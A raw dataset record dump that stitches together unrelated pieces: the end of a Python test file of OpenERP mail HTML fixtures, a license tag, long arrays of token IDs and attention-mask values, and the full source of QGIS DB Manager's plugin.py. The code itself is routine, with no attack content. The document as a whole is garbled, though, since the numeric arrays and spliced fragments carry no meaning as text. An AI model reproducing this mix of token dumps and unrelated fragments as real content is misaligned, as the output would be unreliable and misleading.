<small>Access your messages and documents <a style="color:inherit" href="https://accounts.openerp.com?db=openerp#action=mail.action_mail_redirect&login=che&message_id=5750830">in
OpenERP</a></small> <br>
<pre class="moz-signature" cols="72">--
Christine Herrmann
OpenERP
Chaussée de Namur, 40
B-1367 Grand Rosières
Tel: +32.81.81.37.00 - Fax: +32.81.73.35.01
Web: <a class="moz-txt-link-freetext" href="http://www.openerp.com">http://www.openerp.com</a> </pre>
<br>
</div>
<br>
<br>
</div>
<br>
</div>"""
BUG_2_IN = [
'read more',
'...',
]
BUG_2_OUT = [
'Fwd: TR: OpenERP S.A'
'fait un mois'
]
# BUG 20/08/2014: READ MORE NOT APPEARING
BUG3 = """<div class="oe_msg_body_long" style="/* display: none; */"><p>OpenERP has been upgraded to version 8.0.</p>
<h2>What's new in this upgrade?</h2>
<div class="document">
<ul>
<li><p class="first">New Warehouse Management System:</p>
<blockquote>
<p>Schedule your picking, packing, receptions and internal moves automatically with Odoo using
your own routing rules. Define push and pull rules to organize a warehouse or to manage
product moves between several warehouses. Track in detail all stock moves, not only in your
warehouse but wherever else it's taken as well (customers, suppliers or manufacturing
locations).</p>
</blockquote>
</li>
<li><p class="first">New Product Configurator</p>
</li>
<li><p class="first">Documentation generation from website forum:</p>
<blockquote>
<p>New module to generate a documentation from questions and responses from your forum.
The documentation manager can define a table of content and any user, depending their karma,
can link a question to an entry of this TOC.</p>
</blockquote>
</li>
<li><p class="first">New kanban view of documents (resumes and letters in recruitement, project documents...)</p>
</li>
<li><p class="first">E-Commerce:</p>
<blockquote>
<ul class="simple">
<li>Manage TIN in contact form for B2B.</li>
<li>Dedicated salesteam to easily manage leads and orders.</li>
</ul>
</blockquote>
</li>
<li><p class="first">Better Instant Messaging.</p>
</li>
<li><p class="first">Faster and Improved Search view: Search drawer now appears on top of the results, and is open
by default in reporting views</p>
</li>
<li><p class="first">Improved User Interface:</p>
<blockquote>
<ul class="simple">
<li>Popups has changed to be more responsive on tablets and smartphones.</li>
<li>New Stat Buttons: Forms views have now dynamic buttons showing some statistics abouts linked models.</li>
<li>Color code to check in one look availability of components in an MRP order.</li>
<li>Unified menu bar allows you to switch easily between the frontend (website) and backend</li>
<li>Results panel is now scrollable independently of the menu bars, keeping the navigation,
search bar and view switcher always within reach.</li>
</ul>
</blockquote>
</li>
<li><p class="first">User signature is now in HTML.</p>
</li>
<li><p class="first">New development API.</p>
</li>
<li><p class="first">Remove support for Outlook and Thunderbird plugins</p>
</li>
</ul>
</div>
<p>Enjoy the new OpenERP Online!</p><span class="oe_mail_reduce"><a href="#">read less</a></span></div>"""
BUG_3_IN = [
'read more',
'...',
]
BUG_3_OUT = [
'New kanban view of documents'
]
|
agpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
9674,
35,
63,
4943,
63,
10187,
275,
408,
199,
28,
4246,
1568,
628,
18,
2,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
15281,
396,
17,
1108,
4246,
30,
199,
28,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
5023,
13,
2487,
26,
3293,
27,
15281,
199,
28,
66,
30,
396,
18,
1108,
66,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
73,
30,
396,
19,
1108,
73,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
85,
30,
396,
20,
1108,
85,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
26845,
30,
396,
21,
1108,
26845,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
15281,
199,
28,
4246,
1568,
628,
21,
1743,
396,
22,
1108,
4246,
2957,
3015,
2535,
3015,
2535,
348,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
23,
1108,
4246,
2957,
317,
2535,
317,
30,
199,
28,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
24,
1108,
4246,
2957,
317,
2957,
348,
2535,
3015,
2535,
393,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
25,
1108,
4246,
30,
199,
1108,
317,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
709,
1108,
4246,
2957,
317,
2957,
393,
2957,
3015,
2957,
3015,
30,
199,
28,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
27,
8186,
3015,
2535,
3015,
2535,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
199,
396,
845,
1108,
4246,
2957,
3015,
2957,
3015,
2957,
3015,
2957,
28623,
2535,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
31328,
199,
28,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
27,
8186,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
199,
396,
713,
1108,
4246,
2957,
3015,
2535,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
8186,
3289,
2957,
4246,
2957,
3015,
2957,
28623,
2957,
28623,
30,
199,
28,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
8186,
65,
4369,
628,
1014,
921,
3098,
14,
957,
1743,
3098,
1108,
65,
2957,
4246,
30,
199,
28,
65,
4369,
628,
9554,
26,
9241,
360,
2174,
530,
17326,
1233,
358,
1743,
396,
2142,
1108,
65,
30,
199,
624,
199,
199,
7458,
63,
21929,
63,
4943,
63,
10187,
275,
8894,
3015,
3449,
628,
4246,
13,
6606,
26,
283,
44,
947,
24027,
598,
1312,
271,
297,
31631,
12,
437,
1383,
12,
5444,
68,
6738,
12,
308,
796,
13,
24977,
27,
5023,
13,
890,
26,
3144,
5326,
27,
3164,
26,
15180,
8,
1082,
12,
8177,
12,
8177,
2736,
8020,
13,
2326,
26,
327,
24254,
27,
15281,
272,
665,
80,
30,
6257,
10839,
785,
14,
3899,
63,
344,
14,
354,
1386,
1108,
80,
30,
272,
665,
80,
30,
33,
892,
8485,
365,
2808,
367,
1265,
26,
3068,
80,
30,
272,
665,
80,
3449,
628,
8665,
13,
3039,
26,
413,
5326,
18609,
327,
24,
69,
993,
27,
11042,
13,
3039,
26,
4233,
5326,
31328,
2126,
1253,
10758,
15337,
10758,
22257,
9370,
30,
19494,
22243,
1108,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
1329,
26,
665,
9370,
30,
10545,
785,
14,
1955,
17890,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
3141,
26,
665,
9370,
30,
10545,
785,
14,
4606,
63,
2923,
93,
10839,
785,
14,
4968,
63,
344,
14,
354,
17890,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
1434,
26,
10839,
785,
14,
602,
63,
5404,
93,
28,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
4738,
3659,
26,
10839,
785,
14,
6493,
93,
28,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
14398,
8966,
26,
665,
65,
4369,
628,
26206,
26,
10545,
785,
14,
751,
63,
344,
14,
2123,
503,
28174,
31,
5875,
29,
21092,
5,
1165,
10545,
785,
14,
1955,
93,
1743,
10545,
785,
14,
751,
63,
344,
14,
354,
17890,
65,
30,
272,
3068,
80,
30,
272,
665,
3289,
3133,
272,
665,
80,
30,
7940,
365,
2597,
3962,
370,
5370,
8633,
543,
15911,
21516,
9919,
80,
30,
272,
665,
65,
3449,
628,
9650,
13,
3039,
26,
13960,
5326,
9426,
4369,
628,
10545,
785,
14,
25170,
63,
633,
93,
1743,
267,
665,
4060,
1021,
628,
13361,
63,
6297,
63,
25170,
63,
3887,
2,
2928,
628,
2859,
921,
1544,
14,
25170,
14,
957,
15,
287,
63,
1668,
15,
73
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
9674,
35,
63,
4943,
63,
10187,
275,
408,
199,
28,
4246,
1568,
628,
18,
2,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
15281,
396,
17,
1108,
4246,
30,
199,
28,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
5023,
13,
2487,
26,
3293,
27,
15281,
199,
28,
66,
30,
396,
18,
1108,
66,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
73,
30,
396,
19,
1108,
73,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
85,
30,
396,
20,
1108,
85,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
5023,
13,
890,
26,
3144,
5326,
27,
15281,
199,
28,
26845,
30,
396,
21,
1108,
26845,
2957,
3015,
2535,
3015,
3449,
628,
2326,
26,
15180,
8,
2192,
12,
7105,
12,
7105,
2736,
5023,
13,
6606,
26,
3485,
17601,
27,
5023,
13,
8759,
26,
3293,
27,
1004,
13,
3333,
26,
3293,
27,
15281,
199,
28,
4246,
1568,
628,
21,
1743,
396,
22,
1108,
4246,
2957,
3015,
2535,
3015,
2535,
348,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
23,
1108,
4246,
2957,
317,
2535,
317,
30,
199,
28,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
24,
1108,
4246,
2957,
317,
2957,
348,
2535,
3015,
2535,
393,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
25,
1108,
4246,
30,
199,
1108,
317,
2535,
317,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
396,
709,
1108,
4246,
2957,
317,
2957,
393,
2957,
3015,
2957,
3015,
30,
199,
28,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
27,
8186,
3015,
2535,
3015,
2535,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
199,
396,
845,
1108,
4246,
2957,
3015,
2957,
3015,
2957,
3015,
2957,
28623,
2535,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
31328,
199,
28,
28623,
3449,
628,
9650,
26,
378,
378,
378,
6335,
5326,
27,
9162,
26,
7179,
27,
6273,
26,
378,
5326,
27,
8186,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
1743,
199,
396,
713,
1108,
4246,
2957,
3015,
2535,
3015,
2535,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
8186,
3289,
2957,
4246,
2957,
3015,
2957,
28623,
2957,
28623,
30,
199,
28,
4246,
3164,
13476,
17,
70,
17,
70,
17,
70,
2,
8870,
628,
20954,
2,
1568,
628,
18,
8186,
65,
4369,
628,
1014,
921,
3098,
14,
957,
1743,
3098,
1108,
65,
2957,
4246,
30,
199,
28,
65,
4369,
628,
9554,
26,
9241,
360,
2174,
530,
17326,
1233,
358,
1743,
396,
2142,
1108,
65,
30,
199,
624,
199,
199,
7458,
63,
21929,
63,
4943,
63,
10187,
275,
8894,
3015,
3449,
628,
4246,
13,
6606,
26,
283,
44,
947,
24027,
598,
1312,
271,
297,
31631,
12,
437,
1383,
12,
5444,
68,
6738,
12,
308,
796,
13,
24977,
27,
5023,
13,
890,
26,
3144,
5326,
27,
3164,
26,
15180,
8,
1082,
12,
8177,
12,
8177,
2736,
8020,
13,
2326,
26,
327,
24254,
27,
15281,
272,
665,
80,
30,
6257,
10839,
785,
14,
3899,
63,
344,
14,
354,
1386,
1108,
80,
30,
272,
665,
80,
30,
33,
892,
8485,
365,
2808,
367,
1265,
26,
3068,
80,
30,
272,
665,
80,
3449,
628,
8665,
13,
3039,
26,
413,
5326,
18609,
327,
24,
69,
993,
27,
11042,
13,
3039,
26,
4233,
5326,
31328,
2126,
1253,
10758,
15337,
10758,
22257,
9370,
30,
19494,
22243,
1108,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
1329,
26,
665,
9370,
30,
10545,
785,
14,
1955,
17890,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
3141,
26,
665,
9370,
30,
10545,
785,
14,
4606,
63,
2923,
93,
10839,
785,
14,
4968,
63,
344,
14,
354,
17890,
9370,
2535,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
21092,
1434,
26,
10839,
785,
14,
602,
63,
5404,
93,
28,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
4738,
3659,
26,
10839,
785,
14,
6493,
93,
28,
3289,
7082,
2126,
1253,
10758,
15337,
10758,
27,
14398,
8966,
26,
665,
65,
4369,
628,
26206,
26,
10545,
785,
14,
751,
63,
344,
14,
2123,
503,
28174,
31,
5875,
29,
21092,
5,
1165,
10545,
785,
14,
1955,
93,
1743,
10545,
785,
14,
751,
63,
344,
14,
354,
17890,
65,
30,
272,
3068,
80,
30,
272,
665,
3289,
3133,
272,
665,
80,
30,
7940,
365,
2597,
3962,
370,
5370,
8633,
543,
15911,
21516,
9919,
80,
30,
272,
665,
65,
3449,
628,
9650,
13,
3039,
26,
13960,
5326,
9426,
4369,
628,
10545,
785,
14,
25170,
63,
633,
93,
1743,
267,
665,
4060,
1021,
628,
13361,
63,
6297,
63,
25170,
63,
3887,
2,
2928,
628,
2859,
921,
1544,
14,
25170,
14,
957,
15,
287,
63,
1668,
15,
73,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
SrNetoChan/QGIS
|
python/plugins/db_manager/db_plugins/plugin.py
|
4
|
50826
|
# -*- coding: utf-8 -*-
"""
/***************************************************************************
Name : DB Manager
Description : Database manager plugin for QGIS
Date : May 23, 2011
copyright : (C) 2011 by Giuseppe Sucameli
email : brush.tyler@gmail.com
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
"""
from builtins import str
from builtins import range
from qgis.PyQt.QtCore import Qt, QObject, pyqtSignal, QByteArray
from qgis.PyQt.QtWidgets import (
QFormLayout,
QComboBox,
QCheckBox,
QDialogButtonBox,
QPushButton,
QLabel,
QApplication,
QAction,
QMenu,
QInputDialog,
QMessageBox,
QDialog,
QWidget
)
from qgis.PyQt.QtGui import QKeySequence
from qgis.core import (
Qgis,
QgsApplication,
QgsSettings,
QgsMapLayerType,
QgsWkbTypes,
QgsProviderConnectionException,
QgsProviderRegistry,
QgsVectorLayer,
QgsRasterLayer,
QgsProject,
QgsMessageLog,
QgsCoordinateReferenceSystem
)
from qgis.gui import (
QgsMessageBarItem,
QgsProjectionSelectionWidget
)
from ..db_plugins import createDbPlugin
class BaseError(Exception):
"""Base class for exceptions in the plugin."""
def __init__(self, e):
if isinstance(e, Exception):
msg = e.args[0] if len(e.args) > 0 else ''
else:
msg = e
if not isinstance(msg, str):
msg = str(msg, 'utf-8', 'replace') # convert from utf8 and replace errors (if any)
self.msg = msg
Exception.__init__(self, msg)
def __unicode__(self):
return self.msg
class InvalidDataException(BaseError):
pass
class ConnectionError(BaseError):
pass
class DbError(BaseError):
def __init__(self, e, query=None):
BaseError.__init__(self, e)
self.query = str(query) if query is not None else None
def __unicode__(self):
if self.query is None:
return BaseError.__unicode__(self)
msg = QApplication.translate("DBManagerPlugin", "Error:\n{0}").format(BaseError.__unicode__(self))
if self.query:
msg += QApplication.translate("DBManagerPlugin", "\n\nQuery:\n{0}").format(self.query)
return msg
class DBPlugin(QObject):
deleted = pyqtSignal()
changed = pyqtSignal()
aboutToChange = pyqtSignal()
def __init__(self, conn_name, parent=None):
QObject.__init__(self, parent)
self.connName = conn_name
self.db = None
def __del__(self):
pass # print "DBPlugin.__del__", self.connName
def connectionIcon(self):
return QgsApplication.getThemeIcon("/mIconDbSchema.svg")
def connectionName(self):
return self.connName
def database(self):
return self.db
def info(self):
from .info_model import DatabaseInfo
return DatabaseInfo(None)
def connect(self, parent=None):
raise NotImplementedError('Needs to be implemented by subclasses')
def connectToUri(self, uri):
self.db = self.databasesFactory(self, uri)
if self.db:
return True
return False
def reconnect(self):
if self.db is not None:
uri = self.db.uri()
self.db.deleteLater()
self.db = None
return self.connectToUri(uri)
return self.connect(self.parent())
def remove(self):
# Try the new API first, fallback to legacy
try:
md = QgsProviderRegistry.instance().providerMetadata(self.providerName())
md.deleteConnection(self.connectionName())
except (AttributeError, QgsProviderConnectionException):
settings = QgsSettings()
settings.beginGroup(u"/%s/%s" % (self.connectionSettingsKey(), self.connectionName()))
settings.remove("")
self.deleted.emit()
return True
@classmethod
def addConnection(self, conn_name, uri):
raise NotImplementedError('Needs to be implemented by subclasses')
@classmethod
def icon(self):
return None
@classmethod
def typeName(self):
# return the db typename (e.g. 'postgis')
pass
@classmethod
def typeNameString(self):
# return the db typename string (e.g. 'PostGIS')
pass
@classmethod
def providerName(self):
# return the provider's name (e.g. 'postgres')
pass
@classmethod
def connectionSettingsKey(self):
# return the key used to store the connections in settings
pass
@classmethod
def connections(self):
# get the list of connections
conn_list = []
# First try with the new core API, if that fails, proceed with legacy code
try:
md = QgsProviderRegistry.instance().providerMetadata(self.providerName())
for name in md.dbConnections(False).keys():
conn_list.append(createDbPlugin(self.typeName(), name))
except (AttributeError, QgsProviderConnectionException):
settings = QgsSettings()
settings.beginGroup(self.connectionSettingsKey())
for name in settings.childGroups():
conn_list.append(createDbPlugin(self.typeName(), name))
settings.endGroup()
return conn_list
def databasesFactory(self, connection, uri):
return None
@classmethod
def addConnectionActionSlot(self, item, action, parent):
raise NotImplementedError('Needs to be implemented by subclasses')
def removeActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
res = QMessageBox.question(parent, QApplication.translate("DBManagerPlugin", "DB Manager"),
QApplication.translate("DBManagerPlugin",
"Really remove connection to {0}?").format(item.connectionName()),
QMessageBox.Yes | QMessageBox.No)
if res != QMessageBox.Yes:
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
item.remove()
class DbItemObject(QObject):
changed = pyqtSignal()
aboutToChange = pyqtSignal()
deleted = pyqtSignal()
def __init__(self, parent=None):
super().__init__(parent)
def database(self):
return None
def refresh(self):
self.changed.emit() # refresh the item data reading them from the db
def info(self):
pass
def runAction(self):
pass
def registerActions(self, mainWindow):
pass
class Database(DbItemObject):
def __init__(self, dbplugin, uri):
super().__init__(dbplugin)
self.connector = self.connectorsFactory(uri)
def connectorsFactory(self, uri):
return None
def __del__(self):
self.connector = None
pass # print "Database.__del__", self
def connection(self):
return self.parent()
def dbplugin(self):
return self.parent()
def database(self):
return self
def uri(self):
return self.connector.uri()
def publicUri(self):
return self.connector.publicUri()
def delete(self):
self.aboutToChange.emit()
ret = self.connection().remove()
if ret is not False:
self.deleted.emit()
return ret
def info(self):
from .info_model import DatabaseInfo
return DatabaseInfo(self)
def sqlResultModel(self, sql, parent):
from .data_model import SqlResultModel
return SqlResultModel(self, sql, parent)
def sqlResultModelAsync(self, sql, parent):
from .data_model import SqlResultModelAsync
return SqlResultModelAsync(self, sql, parent)
def columnUniqueValuesModel(self, col, table, limit=10):
l = ""
if limit is not None:
l = "LIMIT %d" % limit
return self.sqlResultModel("SELECT DISTINCT %s FROM %s %s" % (col, table, l), self)
def uniqueIdFunction(self):
"""Return a SQL function used to generate a unique id for rows of a query"""
# may be overloaded by derived classes
return "row_number() over ()"
def toSqlLayer(self, sql, geomCol, uniqueCol, layerName="QueryLayer", layerType=None, avoidSelectById=False, filter=""):
if uniqueCol is None:
if hasattr(self, 'uniqueIdFunction'):
uniqueFct = self.uniqueIdFunction()
if uniqueFct is not None:
q = 1
while "_subq_%d_" % q in sql:
q += 1
sql = u"SELECT %s AS _uid_,* FROM (%s\n) AS _subq_%d_" % (uniqueFct, sql, q)
uniqueCol = "_uid_"
uri = self.uri()
uri.setDataSource("", u"(%s\n)" % sql, geomCol, filter, uniqueCol)
if avoidSelectById:
uri.disableSelectAtId(True)
provider = self.dbplugin().providerName()
if layerType == QgsMapLayerType.RasterLayer:
return QgsRasterLayer(uri.uri(False), layerName, provider)
return QgsVectorLayer(uri.uri(False), layerName, provider)
def registerAllActions(self, mainWindow):
self.registerDatabaseActions(mainWindow)
self.registerSubPluginActions(mainWindow)
def registerSubPluginActions(self, mainWindow):
# load plugins!
try:
exec(u"from .%s.plugins import load" % self.dbplugin().typeName(), globals())
except ImportError:
pass
else:
load(self, mainWindow) # NOQA
def registerDatabaseActions(self, mainWindow):
action = QAction(QApplication.translate("DBManagerPlugin", "&Re-connect"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Database"),
self.reconnectActionSlot)
if self.schemas() is not None:
action = QAction(QApplication.translate("DBManagerPlugin", "&Create Schema…"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Schema"),
self.createSchemaActionSlot)
action = QAction(QApplication.translate("DBManagerPlugin", "&Delete (Empty) Schema"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Schema"),
self.deleteSchemaActionSlot)
action = QAction(QApplication.translate("DBManagerPlugin", "Delete Selected Item"), self)
mainWindow.registerAction(action, None, self.deleteActionSlot)
action.setShortcuts(QKeySequence.Delete)
action = QAction(QgsApplication.getThemeIcon("/mActionCreateTable.svg"),
QApplication.translate("DBManagerPlugin", "&Create Table…"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Table"),
self.createTableActionSlot)
action = QAction(QgsApplication.getThemeIcon("/mActionEditTable.svg"),
QApplication.translate("DBManagerPlugin", "&Edit Table…"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Table"), self.editTableActionSlot)
action = QAction(QgsApplication.getThemeIcon("/mActionDeleteTable.svg"),
QApplication.translate("DBManagerPlugin", "&Delete Table/View…"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Table"),
self.deleteTableActionSlot)
action = QAction(QApplication.translate("DBManagerPlugin", "&Empty Table…"), self)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Table"),
self.emptyTableActionSlot)
if self.schemas() is not None:
action = QAction(QApplication.translate("DBManagerPlugin", "&Move to Schema"), self)
action.setMenu(QMenu(mainWindow))
def invoke_callback():
return mainWindow.invokeCallback(self.prepareMenuMoveTableToSchemaActionSlot)
action.menu().aboutToShow.connect(invoke_callback)
mainWindow.registerAction(action, QApplication.translate("DBManagerPlugin", "&Table"))
def reconnectActionSlot(self, item, action, parent):
db = item.database()
db.connection().reconnect()
db.refresh()
def deleteActionSlot(self, item, action, parent):
if isinstance(item, Schema):
self.deleteSchemaActionSlot(item, action, parent)
elif isinstance(item, Table):
self.deleteTableActionSlot(item, action, parent)
else:
QApplication.restoreOverrideCursor()
parent.infoBar.pushMessage(QApplication.translate("DBManagerPlugin", "Cannot delete the selected item."),
Qgis.Info, parent.iface.messageTimeout())
QApplication.setOverrideCursor(Qt.WaitCursor)
def createSchemaActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, (DBPlugin, Schema, Table)) or item.database() is None:
parent.infoBar.pushMessage(
QApplication.translate("DBManagerPlugin", "No database selected or you are not connected to it."),
Qgis.Info, parent.iface.messageTimeout())
return
(schema, ok) = QInputDialog.getText(parent, QApplication.translate("DBManagerPlugin", "New schema"),
QApplication.translate("DBManagerPlugin", "Enter new schema name"))
if not ok:
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
self.createSchema(schema)
def deleteSchemaActionSlot(self, item, action, parent):
QApplication.restoreOverrideCursor()
try:
if not isinstance(item, Schema):
parent.infoBar.pushMessage(
QApplication.translate("DBManagerPlugin", "Select an empty schema for deletion."),
Qgis.Info, parent.iface.messageTimeout())
return
res = QMessageBox.question(parent, QApplication.translate("DBManagerPlugin", "DB Manager"),
QApplication.translate("DBManagerPlugin",
"Really delete schema {0}?").format(item.name),
QMessageBox.Yes | QMessageBox.No)
if res != QMessageBox.Yes:
return
finally:
QApplication.setOverrideCursor(Qt.WaitCursor)
item.delete()
def schemasFactory(self, row, db):
return None
def schemas(self):
schemas = self.connector.getSchemas()
if schemas is not None:
schemas = [self.schemasFactory(x, self) for x in schemas]
return schemas
